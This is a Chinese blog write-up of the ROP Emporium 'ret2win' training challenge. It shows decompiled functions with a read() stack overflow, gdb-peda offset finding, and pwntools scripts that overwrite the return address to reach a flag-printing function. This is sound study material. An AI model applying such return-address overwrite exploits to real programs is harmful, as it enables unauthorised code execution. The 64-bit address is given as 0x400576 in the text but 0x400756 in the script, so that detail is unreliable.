这篇博客主要是关于rop emporium(2020年7月的版本)的ret2win这道题的学习记录
因为网上都是比较早版本的题解,所以写了这篇博客,不过这道题倒是变化不大。
题目链接:https://ropemporium.com/challenge/ret2win.html
备注:以下题目都是在ubuntu16.04下完成
32位
反编译后:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0, 2, 0);
puts("ret2win by ROP Emporium");
puts("x86\n");
pwnme();
puts("\nExiting");
return 0;
}
看看pwnme函数,可以发现10行处的read函数有个栈溢出。偏移是28h+4h=2ch
int pwnme()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, &s, 0x38u);
return puts("Thank you!");
}
然后还可以发现ret2win函数
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}
很明显,这道题的意思是利用read函数的漏洞,跳转到ret2win函数执行。
除了直接用ida看偏移。也可以用gdb调试。
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ r
gdb-peda$ pattern offset 0x41414641
1094796865 found at offset: 44
gdb 运行后,输入生成的pattern,会发现产生崩溃。并且用pattern offset计算0x41414641的偏移,会发现等于44…和之前用ida算的是一样的。
所以最后的exp是:
from pwn import *
p = process("./ret2win32")
payload = "a" * 44 + p32(0x804862c)
p.sendline(payload)
p.interactive()
运行结果:
64位
反汇编的代码和32位类似
用gdb调试得到offset为40
ret2win函数地址为0x400576
exp为:
from pwn import *
p = process("ret2win")
payload = "A" * 40 + p64(0x400756)
p.sendline(payload)
p.interactive()
运行得到flag